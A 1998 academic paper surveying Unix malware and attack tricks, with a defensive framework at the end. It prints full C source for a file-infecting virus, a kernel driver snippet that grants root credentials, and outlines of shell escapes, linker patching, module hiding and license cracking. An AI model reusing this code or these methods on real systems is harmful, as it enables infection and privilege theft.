kernelthread.com

Un*x Mischiefs: The New Frontiers

Amit Singh
Bell Laboratories
Murray Hill, New Jersey 07974
December, 1998
ABSTRACT

Aberration in behavior is inescapable for almost any entity capable of behaving. Computers are particularly prone to misbehaving. It has been discussed aplenty that software misbehavior is an inherent aspect of the stored-program concept. A widely held belief is that while Microsoft systems are excessively prone to malicious programs (especially viruses) wreaking havoc, UNIX and derived systems are not. People have tried to refute this claim, and several Un*x viruses have been "created". This paper evaluates some of these claims and their counter claims. Furthermore, it attempts a broad look at the kind of "mischiefs" (methodologies of making software misbehave) more than a quarter century of UNIX has led to. No attempt is made to classify malicious code into categories like viruses, worms, trojans etc., for which extensive documentation exists.

Please note that the term "Un*x" is used in a collective sense wherever it appears in the document: it represents Unix herself, derived systems and work-alikes, including but not limited to Linux. I apologize for the title, which is a pun on Uresh Vahalia's excellent book. Please read the following legal verbiage:

The information presented in this document is solely for academic purposes, and is not to be misused in any way. The author shall not be held responsible for any indirect, special, incidental or consequential damages arising out of the use or misuse of information present in this document.

1. Introduction

The Unix Time-Sharing System has been successful, and saying so is an understatement. Unix introduced abstractions that were so simple (in retrospect, certainly) and yet so powerful that "technical" users loved it. In spite of this, for a long time it was not straightforward for a random computer user to be able to get too technical with Unix - availability was an issue. Even if one could access a computer running Unix, an under the hood view was nonexistent, or limited. Things are vastly different today. The evolution of "free" and "Open Source" software is all too well known to be repeated here. What has also evolved in parallel is the sophistication and scope of methods of "attack" on systems. Un*x systems are generally considered to be more immune to software attacks than their worldlier counterparts (especially Microsoft ones). While this claim may have some substance due to various reasons, Un*x systems are quite susceptible to mischief, as is any stored-program system [1].

The primary reason for Un*x's relative immunity is the protection it offers at various levels. On almost all modern operating systems (including Microsoft systems for that matter), User applications "talk" to the system via system calls. In fact, having a system with no system calls (such as Pebble from Bell Laboratories) would be considered a very novel approach. A number of system calls are allowed only to the super-user. Access permissions and file attributes (if used appropriately) protect one user's files from another. Newer systems have added fancier access control mechanisms, but the underlying idea is the same. Systems like MS-DOS, Windows 95 and Windows 98 do not have the notion of a super-user. Therefore, it is reasonably possible for any user to "trash" the entire system. Although an ordinary program on Un*x has to attain "root" privileges in order to cause global damage, it can still create ample nuisance within its domain. This means a user can (potentially) damage all files that he owns, and a super-user can damage all files on the system. If a program that changes domains as it runs (a setuid program in Un*x parlance) misbehaves, then an ordinary user might (mis)use the program to cause inter-domain damage. Doctored misbehavior of setuid/setgid programs, often through "buffer overflows", is perhaps the most common means of compromising security on Un*x.

Barring the differences in protection schemes across systems, malicious programs on one platform are usually not too different in concept from those on another, except where they exploit specific weaknesses or strengths of a system. The behavior of a virus on MS-DOS can be easily emulated on Un*x. With the availability of source code of entire operating systems, ingenious and creative schemes can be hatched, and often are. Programming infrastructures are generally far more powerful on Un*x than on traditional virus prone systems. Ironically, this often makes it easier to launch crafty attacks. The same reasons also make it easier to understand and rectify software misbehavior. The situation is akin to the legendary conflict in The Star Wars: both the "dark side" and the "force" have access to light sabres. Since I am not a Star Wars fan, I'm not sure if that made sense!

2. Virology Revisited

It will get on all your disks
It will infiltrate your chips
Yes it's Cloner!
It will stick to you like glue
It will modify ram too
Send in the Cloner!
- Elk Cloner: The program with a personality

History has it that the term "computer virus" was phrased by Fred Cohen in 1983. The cute poem quoted above was recited by Elk Cloner, a virus for Apple ][, considered to be the first virus by many. Virii have abounded on platforms like the Apple ][, IBM PC, Amiga, Atari and the like. Definitions and types of viruses (virii is decidedly pedantic) have been excruciatingly documented by people.

Let us consider the typical definition of a computer virus, and evaluate it in the context of Un*x. According to the Internet (or your favorite textbook), a computer virus is an entity that:

2.1 Self Reproduction in Software

The most common buzz-phrase heard in context of viruses is that they are self reproducing. Ken Thompson presents a delightful discussion on self reproduction in Reflections on Trusting Trust, his Turing Award lecture. Thompson gives the example of a C program that prints itself. Self reproduction may be more of a syntax issue, and implementation hardness may depend on the language used. Here is a C one-liner that prints itself:

main(){char*p="main(){char*p=%c%s%c;(void)printf(p,34,p,34,10);\ }%c";(void)printf(p,34,p,34,10);}

Along similar lines, here is one in Perl:

$s='$s=%c%s%c;printf($s,39,$s,39);';printf($s,39,$s,39);

The following is a self-reproducing shell script:

E='E=%s;printf "$E" "\x27$E\x27"';printf "$E" "'$E'"

Finally, here is a program that prints itself backwards (the program is one huge line: newlines have been added here for readability, though that hardly makes it readable):

main(){int i;char *k;char a[]="main(){int i;char *k; char a[]=%c%s%c;k=(char *)malloc(220);for(i=0;i<219;i++) {k[i]=a[218-i];}*(k+219)=0;strcpy(a,k);a[183]=k[184];a[184] =k[183];a[185]=k[184];a[186]=k[185];a[187]=k[184];a[188]=k[ 187];printf(a,34,k,34);}";k=(char*)malloc(220);for(i=0 ;i<219;i++){k[i]=a[218-i];}*(k+219)=0;strcpy(a,k);a[183] =k[184];a[184]=k[183];a[185]=k[184];a[186]=k[185];a[187]=k[ 184];a[188]=k[187];printf(a,34,k,34);}

As these examples demonstrate, it is possible to write self replicating code in high-level languages. These programs can be made to carry arbitrary baggage, which can be viral code. Note that if a program can access its file-system source representation at run-time, it may not need to do syntactical jugglery in order to reproduce.

2.2 Platform Independent Viruses

The large user base of Microsoft systems offers a homogenous and fertile field for viruses to breed, especially since Microsoft emphasizes backwards compatibility in its systems. One of the factors against a Un*x virus is the heterogeny of Un*x systems: even with standards like POSIX, binary incompatibility, differing system calls and other nuances make it harder to create a single program that is an effective misbehaver on many systems.

However, there exist languages and frameworks that are uniform across many platforms. Perl is a generic enough scripting language, and presents various uniform APIs to the underlying system. In fact, Perl may even allow for an arbitrary system call to be invoked from within a script using its syscall function, even if the system call has no corresponding Perl function. It could be a suitable candidate for writing viruses.

Further examples could include Postscript (executing on a buggy or insecure viewer) and EMACS LISP. Text formatting languages like TEX (and its descendant LATEX) appear safe enough, but strange things happen when people try hard enough: somebody has written their thesis on a platform independent virus that employs LATEX and Emacs's TEX mode to do its job! With the advent of /bin/sh on Windows (courtesy the Cygwin software from Cygnus), Doug McIlroy's "shell" virus gains another platform to play on. Finally, the popular Java and JavaScript languages provide other playing fields for messing around.

2.3 Un*x Viruses and the making of the Jingle Bell Virus

"McAfee detects first Linux Virus."
- Cyber headlines all over the place on February 7, 1997

Headlines screamed "Linux virus" as it was "proved" that a virus for Linux could be written. The virus source was posted on several sites, after the compressed tar file had been byte swapped, uuencoded and rot13'ed, apparently so that some curious novice could not inadvertently use it! The virus was blissfully called Bliss. Vaccines appeared promptly from various sources on the Internet, including an all too happy McAfee. Un*x, or Linux viruses are not that new, and they were not invented in 1997. Here is a note from Dennis Ritchie himself on this issue:

"A few years ago Tom Duff created a very persistent Unix virus. At that point we had about 10-12 8th or 9th edition Vax 750s networked together. The virus lived in the slack space at the end of the executable, and changed the entry point to itself. When the program was executed, it searched the current directory, subdirectories, /bin, /usr/bin for writable, uninfected files and then infected them if there was enough space."

It may be easier to write (note that we are not talking about deployment) a virus for Un*x than for any other system. The first problem to be tackled is that of providing accommodation to the virus: how the virus is going to attach itself to an executable. Typically, viruses infect executable files only, but on highly "user f(r)iendly" systems, executability is not limited to executable files! Even an innocent looking word processor document may cause execution of embedded code (the case of Microsoft Word macros is the ubiquitous example). We shall only consider traditional executable files.

Shell scripts are a powerful way to program. They also lend themselves easily to be modified, as exemplified by McIlroy's 150 byte Traductor simplicimus [1]. A virus writer may want his virus to hide in a binary executable, for obvious reasons (executable files are often more "active"). The problem becomes harder due to a large number of binary formats across various systems, and sometimes even on a single system (for example, Linux AOUT and ELF). Several solutions can be conceived. ELF is a flexible enough file format to be manipulated creatively. For example, the .note section of an ELF file can be used to hold information (a Linux project uses the .note section to store capabilities, that can be used by exec()). Of course, the virus needs to alter the program's execution, and that typically requires an instruction sequence to be inserted. The difficulty may vary depending on the file format. It must be noted that this requirement is not limited to virus creation. Code profilers often need to insert profiling code in-place. The New Jersey Machine-Code Toolkit offers help in this regard. [Update: Some other examples can be seen here.]

We present code for a generic Un*x virus that we shall call Jingle Bell. This virus is extremely simple minded: it attaches itself to an executable by appending the latter to itself and recording the offset. This process repeats itself. Figure 1 visualizes an infected program infecting a clean executable.


Figure 1. Working of Jingle Bell

The virus infects the first executable found, if any, on its command line. Of course, any other infection policy can be programmed. Assuming that /bin/ls is infected, an infection session is shown below:

# ls -las total 15 1 drwxr-xr-x 2 root root 1024 Jun 19 13:33 . 1 drwxr-xr-x 4 root root 1024 Jun 19 13:32 .. 1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c # cat hello.c #include <stdio.h> int main() { printf("Hello, World!\n"); exit(0); } # cc hello.c # ls -las total 15 1 drwxr-xr-x 2 root root 1024 Jun 19 13:36 . 1 drwxr-xr-x 4 root root 1024 Jun 19 13:34 .. 12 -rwxr-xr-x 1 root root 11803 Jun 19 13:36 a.out 1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c # ./a.out Hello, World # ls -las a.out # This will infect a.out 29 -rwxr-xr-x 1 root root 28322 Jun 19 13:38 a.out # ./a.out # a.out works as before Hello, World # cc hello.c -o hello # compile hello.c again # ls -las # a.out is infected, hello is not yet infected total 44 1 drwxr-xr-x 2 root root 1024 Jun 19 13:40 . 1 drwxr-xr-x 4 root root 1024 Jun 19 13:34 .. 29 -rwxr-xr-x 1 root root 28322 Jun 19 13:38 a.out 12 -rwxr-xr-x 1 root root 11803 Jun 19 13:40 hello 1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c # ./a.out hello # This should infect hello Hello, World! # ls -las # It indeed does total 61 1 drwxr-xr-x 2 root root 1024 Jun 19 13:40 . 1 drwxr-xr-x 4 root root 1024 Jun 19 13:34 .. 29 -rwxr-xr-x 1 root root 28322 Jun 19 13:38 a.out 29 -rwxr-xr-x 1 root root 28322 Jun 19 13:40 hello 1 -rw-r--r-- 1 root root 75 Jun 19 13:33 hello.c

The infection works quite like it would on MS-DOS, say. It must be noted that the infected program can cause further infection in its domain only. The C code for Jingle Bell follows.

/* * Jingle Bell (with moderate error handling) */ #include <stdio.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/param.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <fcntl.h> #include <sys/mman.h> /* the size of our own executable: please configure */ static int V_OFFSET = 4976; extern int errno; void do_infect(int, char **, int); int main(intargc, char **argv, char **envp) { int len; int rval; int pid, status; int fd_r, fd_w; char *tmp; char buf[BUFSIZ]; /* * sometimes it may be possible to modify argv[0], for example by * using zsh's ARGV0 variable: * * zsh# ARGV0=foobar ls * * In that case this virus misbehaves! */ if ((fd_r = open(argv[0], O_RDONLY)) < 0) goto XBAILOUT; if (lseek(fd_r, V_OFFSET, SEEK_SET) < 0) { close(fd_r); goto XBAILOUT; } if ((tmp = tmpnam(NULL)) == NULL) { close(fd_r); goto BAILOUT; } if ((fd_w = open(tmp, O_CREAT | O_TRUNC | O_RDWR, 00700)) < 0) goto BAILOUT; while ((len = read(fd_r, buf, BUFSIZ)) > 0) write(fd_w, buf, len); close(fd_w); /* Infect */ do_infect(argc, argv, fd_r); close(fd_r); if ((pid = fork()) < 0) goto BAILOUT; /* run the original executable */ if (pid == 0) { execve(tmp, argv, envp); exit(127); } do { /* wait till you can cleanup */ if (waitpid(pid, &status, 0) == -1) { if (errno != EINTR) { rval = -1; gotoBAILOUT; } else { rval = status; gotoBAILOUT; } } } while (1); BAILOUT: unlink(tmp); XBAILOUT: exit(rval); } void do_infect(intargc, char **argv, intfd_r) { int fd_t; int target, i; int done, bytes, length; void *map; struct statstat; char buf[BUFSIZ]; if (argc < 2) return; /* nail the first executable on the command line */ for (target = 1; target < argc; target++) if (!access(argv[target], W_OK | X_OK)) gotoNAILED; return; NAILED: if ((fd_t = open(argv[target], O_RDWR)) < 0) return; fstat(fd_t, &stat); length = stat.st_size; map = (char *) malloc(length); for (i = 0; i < length; i++) read(fd_t, map + i, 1); lseek(fd_t, 0, SEEK_SET); if (ftruncate(fd_t, 0)) return; done = 0; lseek(fd_r, 0, SEEK_SET); while (done < V_OFFSET) { bytes = read(fd_r, buf, 1); write(fd_t, buf, bytes); done += bytes; } for (bytes = 0; bytes < length; bytes++) write(fd_t, map + bytes, 1); close(fd_t); return; } /* FINIS */

Various other infection methods could be devised. It should also be possible to make the memory requirements of programs skyrocket by fiddling with the appropriate sections in an executable.

3. More Un*x mischiefs

As stated earlier, the powerful infrastructure available on Un*x makes certain type of tricks feasible, or easier to play. Representative users of systems like Linux and FreeBSD are often hobbyists, who are (usually) technically more informed than a typical home user of Windows, say. With plenty of time, energy and imagination, hackers (or crackers, as is appropriate in the context) can do non-obvious things on and to a system. This section discusses a few of such tricks. The aim is not to short-list ways of messing things up, but to present examples that highlight Un*x's susceptibility to mischief.

3.1 Dynamic and Dynamite Linking

ld.so is the run-time link-editor on a typical Un*x system. Its job is to load and link-edit shared objects into the address space of a dynamically linked program. ld.so honors several environment variables, one of which is LD_PRELOAD. This variable can contain a colon separated list of shared libraries, to be linked in before any other shared libraries. This is a useful feature, as illustrated by the following examples:

This feature is (mis)usable in many ways. Consider, for example:

Note that for obvious reasons, LD_PRELOAD is not honored for setuid programs. If it were, any user could run passwd (a setuid program), with open() re-implemented to exec() a shell. Regardless of this restriction, LD_PRELOAD is good (bad) enough for being misused, as described in the following examples.

3.1.1 The restrictions that thy restricted shell hath are ... none

The author failed to find (at the time of this writing, of course) an implementation of a restricted shell (like the rksh found on Solaris) that disallows setting or resetting this variable. Thus, in most cases, the shell would not be restricted at all! If a dynamically linked program is in the path, write a few lines of code to replace execve(), create a shared library and place it in a place accessible from the restricted account. The new code modifies/re-creates the envp (environment pointer) of the execve'd program (SHELL=/bin/sh, to begin with). Thereafter, it takes a couple of commands to get bailed out of restriction.

3.1.2 Linker infection

Finally, a little thought reveals that the run-time linker is the program to infect if a cracker wishes to retain illegally obtained privileges on a system. Traditionally, crackers use a variety of modifications for this purpose: planting setuid shells is so clichéd as to have become a naïvety. Adding users is common too. On Solaris, using dis to disassemble ld.so.1 and examining it reveals the location of the code that checks for a setuid file (the S_ISXXX family of masks, S_ISUID in particular) - modifying a couple of bytes is all it takes to disable this check. If the machine instructions were changed in-place, the new ld.so.1 allows LD_PRELOAD for all binaries, setuid or not. The moral of the story: system security could be worth as little as a couple of bytes!. Of course, modifying the run-time linker on a running system may not be all that straightforward.

3.2 Open Source and Open Sores

In the short (temporally) life of Computing, the semantics of security and trust have changed, and keep changing. There was perhaps a time when wizards were wizards and programming was black magic. Security through obscurity may actually have worked then. We live in volatile times today - an age of monotonically increasing enlightenment. With source code for entire operating systems available for anybody to study (which is the way things should be, at least in the opinion of the author), ingenuity, technical acumen combine with negatively affecting factors (cynicism, a will to destroy, digital mercenariness ...) and lead to remarkable mischiefs. It is no longer uncommon to find evil code infecting operating system kernels rather than applications. In this section, we shall formulate some examples of messing with Un*x kernels.

3.2.1 System call infector

There existed, and perhaps still do, viruses that made the system increasingly slower. In fact, degraded performance is often the first symptom of infection a human victim notices about his machine. This behavior is easily emulated on Un*x, particularly on open source systems. On a system that allows loading of kernel modules (Linux), an evil module can be made to trap each system call and insert busy loops, or allocate memory uselessly.

3.2.2 Hiding kernel modules

The evil module of the previous section would be given away if utilities like modinfo (on Solaris) and lsmod (on Linux) were used. The perpetrator can hide itself by modifying the accounting data structures the kernel maintains for loaded modules. This would be the equivalent of the infamous Stealth feature of certain viruses. Note that this may be trivial, hard or impossible, depending upon which internal functions the kernel exports, and whether the kernel source is available. On Linux, for example, this is quite simple to achieve.

3.2.3 Planting privilege yielding entities in the kernel

Let us conceptualize a loadable kernel module on Solaris that would be the equivalent of a setuid root binary, but much less likely to be detected. The module implements a device driver for a pseudo device foo, say. Doing this is fairly easy since the driver API is well-known. The driver is added to the system and this creates a device file in /devices/pseudo. The interesting part of the code, which would compile to a couple of kilobytes or so, would look like the following:

static int foo_open(dev_t*dev, int openflags, int otyp, cred_t * foo) { int retval=0; /* use ddi_get_soft_state or something */ foo->cr_uid = 0; foo->cr_gid = 0; foo->cr_ruid = 0; foo->cr_rgid = 0; foo->cr_suid = 0; foo->cr_sgid = 0; return (retval); }

As is evident, whosoever does an open() on this device (cat /devices/pseudo/fooXYZ, say) gets his credential structure (refer sys/cred.h) modified, with his [rs][ug]id set to 0.

3.2.4 Playing ping pong with file descriptors

The "everything is a file" concept is one of Un*x's great simplifying aspects. Familiarity with internal file related data structures may allow an evil user (having appropriate privileges) to take over an open file descriptor belonging to a random process. For example, an active telnet session would have a network socket descriptor open. A few lines of code yields a loadable kernel module (or an application writing to kernel memory) that for a given process id, hijacks a given descriptor. This could be done either by dup()ing it for the hijacker and closing the original, or by swapping it with a dummy descriptor belonging to the hijacker. In the telnet example, the original user gets a "connection terminated" error, and the hijacker gets the connection.

3.2.5 Picking software locks

Before the force was strong with Open Source, source code used to be a prized possession. It still is in most cases, for that matter. Vendors often employ techniques to lock their software. These days a representative situation involves a customer downloading a software product, paying for it online, and receiving some sort of a key that would make the software work, or remove restrictions from partially working software, as in the following story:

3.2.5.1 The OSS story: Security in Obscurity

4 Front Technologies is a US based company that develops Open Sound System™, a set of device drivers providing a uniform API for digital audio across major Un*x architectures. The first OSS driver was for Linux, where it continues to be popular. OSS is commercial software (costing US $20 as of this writing), though there's a free download that has a limited activity period. When you buy a copy of the OSS, you get a license that allows you free upgrades for the next few years. As it happens on the big, bad Internet, somebody illegally shared his OSS license with a "friend", who gave it to another "friend", and so on. The OSS people were understandably unhappy with this misuse. They came up with an obvious, and naïve solution: embed a list of known offending license numbers in the wrapper that authenticates the license and activates the driver. Thus, at runtime, the wrapper compares the license number against those in its blacklist, and does not activate the driver if there is a match. Note that the license file cannot be modified because of its design. It is quite simple to do a string search on the wrapper binary and locate the string of interest - which can be conveniently altered using GNU EMACS (or some "hex" editor). What we see here is a misconception, that there is security in obscurity. Realizing that this was too ineffective a fix, the OSS people came up with a marginally better solution: do not maintain the blacklist as strings, but keep the license numbers as raw data. Unfortunately, the enterprising pirates can still do something like an "od -x" (or functionally equivalent) on the binary, and search for their number (taking endian-ness into account). This could result in several matches, but that is not really a problem because:

This is simply an extension of the security in obscurity idea.

What next? Even if some really smart logic is put in the wrapper, it would use a conditional branch (like the je, jne, be, bne instructions on the x86) at the point where it decides whether the license number is black-listed or not. With some enterprise, and some technically guided educated guesswork, it should be possible to logically negate the conditional jump (replace jne by je, for example), and see if the program still complains. Several commercial and shareware programs exist for the Wintel platform, that automate this procedure!

Finally, to their credit, the OSS people overhauled their licensing scheme.

Instead of trying to alter the application, a software pirate might use the operating system to pick software locks: after all, it is the OS that provides services that allow software to conjure up the illusion of a lock. For example, time related system calls could be made to report a historical time to a particular process.

3.3 Mail bombs

The ability to receive email is one of the greatest joys of computing. The author knows several people who get depressed if they have not received an email within the last hour. This modern day's preferred mode of communication would be an ideal vehicle for rogue code. Email bombs go back quite far in history. In the olden days (no Java™, no JavaScript and especially no ".doc" attachments), a bomb sender could have embedded escape sequences for a terminal in the mail text. If the recipient viewed the text on a terminal honoring the sequences, he could cause himself harm.

Today's viewing devices, whether implemented in hardware or software, are not free from escape sequences. It is trivial to garble most implementations of the popular xterm by causing some escape sequence to appear, possibly as part of email text. A partial list of potentially irritating sequences is given below. These may not work (negatively) on all xterm implementations.

^[(0 garbles xterms with US ASCII character set
^[(B restores US ASCII character set
^[[?5h sets reverse video
^[[?9h sets sending of MIT mouse row/column on button press: will mess up text selection
^[]P10;colorspec^G sets foreground color to that specified by colorspec
^[]P11;colorspec^G sets background color to that specified by colorspec
^[P0;0 locks keyboard
\226 garbles the author's xterm whenever this character is encountered in a mail (composed on Microsoft platform).

Some terminals may be flexible enough to allow escape sequences to insert characters in their input buffer, which could enable an email to execute commands on the receiver's machine.

Greener pastures for mail bombing appear when we realize that many email reader programs employ fancy features in order to be user-friendly (to what extent they achieve user-friendliness is a highly debatable issue, and outside the scope of this document, and possibly all other documents). Thus, a modern day email can cause execution of embedded code on the recipient's system, courtesy macro languages and entities like JavaScript. Of course, once email readers become this complex, cumbersome policies are devised to specify the resources these embedded programs are allowed to access. As has been demonstrated umpteen times in the case of Microsoft Word attachments, most users simply "run" whatever asks to be run. Headlines are made, legal action may follow shortly thereafter. Anti-Virus companies thrive. The cycle repeats after sometime.

In contrast, Un*x is regarded as "not too user-friendly". A better evaluation might be that the usability of Un*x is not static. While systems like Microsoft Windows shrink-wrap usability and user-friendliness, Un*x provides a robust and flexible framework for the user to build upon: her user-friendliness is programmable. A typical user on Un*x would save an email attachment and examine it, rather than let the email reader fork a process purely based on information provided by the message. It is partly due to the do-it-yourself attitude of Un*x users (and the relative lack of fancy programs trying to do too much) that Un*x mail bombs are not too common, though they may be in the future.

4. Protectors against Terminators and Predators

Computer security is a sinusoidal conflict. Vendors try to attain security classifications (involving fruit colored books and other paraphernalia). Availability of system source potentially enhances security as much as it hinders it. Linux has seen several such hardenings, like a patch for making the stack unexecutable. This is meant to be a line of defense against buffer overflow attacks. There is always scope for installation specific security hardening. For example, if an administrator feels that a Linux user should not be able to peek at the processes of others (process command line may contain sensitive information sometimes), all she has to do is to make a minor change in the proc files-system code - simply replace the S_IRUGO permission mode by S_IRUSR.

Consider a representative problem: an administrator does not wish the file /etc/CIA/moneysource to be accessible, in any case. Thus, he can:

Apart from the sanest alternative of not keeping the file online, having file accesses passworded is a reasonable solution. Such filesystems do exist. In absence of bugs or loopholes, the file would be as secure as the encryption scheme.

In the next section, a modular security enhancing framework for Linux is described.

4.1 LaudIt

LaudIt [3] is a framework for playing with system calls on Linux. It is a loadable kernel module that dynamically modifies the system call vector to implement arbitrary security policies. A user-interface and a programming API allow a privileged user to mark system calls as having alternate implementations. The system keeps a bitmap of system calls to indicate which calls are currently re-routed. Each system call has a bitmap of actions. An action could be to log the system call, or consult a ruleset to allow or disallow access. The code implementing access rules is provided by the user.

An element of the system call vector is restored to its original location if no rule involves that particular system call. LaudIt requires no modification of the kernel code, and can be toggled on and off. However, implementation of non-default rules may require certain kernel symbols to be exported, and hence a modification of kernel code. Unloading of the kernel module can be made to require a password which is encrypted and stored in kernel memory, which means simply having super-user privileges does not suffice to override the framework.

LaudIt has some obvious uses, like:

Of course, this is not meant to be a panacea. It may not be possible to disallow access to many system files, which can be altered or destroyed by a cracker with super-user privileges.

4.2 The Watchdog extension to LaudIt

A user can associate a program with a file she owns. An access to the file will cause LaudIt to arrange for the user specified program to run, and the access will depend on the program's return status. This is the watchdog concept. The kernel sets up an appropriate (preferably neutral) context for the process, so that the file owner and the reader cannot play tricks on each other. This way, a user may associate passwords with individual files, or implement his own access policies.

This is similar to GNU HURD translators. In HURD, which is a micro-kernel based system, a file can have a translator associated with it. When a file is opened in HURD, a port associated with the file is created. The port is owned by the server owning the directory containing the file. With the translator mechanism, the server executes an associated program (translator)with the file. The translator is given a port to the actual contents of the file, and is then asked to return a port to the original user to complete the open operation.

5. References

Amit Singh
http://www.bell-labs.com/user/amitsingh
Updated June 22, 1999